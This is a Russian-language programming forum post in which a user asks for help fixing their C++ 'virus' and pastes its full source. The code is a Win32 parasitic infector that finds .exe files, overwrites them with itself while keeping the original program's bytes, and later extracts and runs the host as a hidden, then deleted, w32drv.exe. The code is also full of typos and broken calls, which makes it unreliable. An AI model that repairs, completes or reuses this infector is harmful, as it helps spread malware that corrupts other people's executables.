![]() |
|
|
![]()
|
|
| Annet2005 |
|
|||
|
Unregistered |
Помогите!!! Я с этим вирусом на С++ неделю мучаюсь!
НУ ЧТО ТУТ НЕ ТАК?! #include "windows.h" bool test(WIN32_FIND_DATA ff) { HANDLE fh; char buff[2000]; fh=CreateFileA(ff.cFileName,GENERAL_READ,0,3,128,0); ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL); CloseHandle(fh); if((buff[1550]=="Q")&&(buff[1551]=="3")){return(TRUE);} else {return(FALSE);} } void restore(char *fname) { HANDLE mh; HANDLE fh; unsigned long size1; fh=CreateFileA(frame,GENERAL_READ,FILE_SHARE_READ,0,3,128,0); size1=GetFileSize(fh,0); mh=VirtualAllos(NULL,size1,MEM_COMMIT,PAGE_READWRITE); _llseek((int)fh,53248,FILE_BEGIN); ReadFile(fh,mh,size1,&size1,NULL); CloseHandle(fh); fh=CreateFileA("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0); WriteFile(fh,mh,size1,&size1,NULL); VirtualFree(mh,size1,16384); CloseHandle(fh); WinExec("w32drv.exe",1); SetFileAttributes("w32drv.exe",2); DeleteFileA("w32drv.exe"); } int main(int argc, char *argv[]) { HANDLE find_handle; WIN32_FIND_DATA ff; double size=53248; HANDLE mh; HANDLE fh; char msg1[50]="[VIRUS WIN32 PARASITIC-=w32.core=-]"; DeleteFileA("w32drv.exe"); find_handle=FindFirstFileA("*.exe",&ff); white (1) { if (!test(ff)) { mh=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE); fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); ReadFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); CloseHandle(fh); CopyFileA(argv[0],ff.cFileName,0); fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); _llseek((int)fh,size,FILE_BEGIN); WriteFile9fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); VirtualFree(mh,ff.nFileSizeLow,16384); CloseHandle(fh); } nexta: if (!FindNextFileA(find_handle,&ff)) break; } FindClose(find_handle); restore(argv[0]); return(0); } |
|||
|
||||
![]()
|
| Правила форума "С++ Builder" | |
|
|
Запрещается! 1. Публиковать ссылки на вскрытые компоненты 2. Обсуждать взлом компонентов и делиться вскрытыми компонентами
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Rrader. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | C++ Builder | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |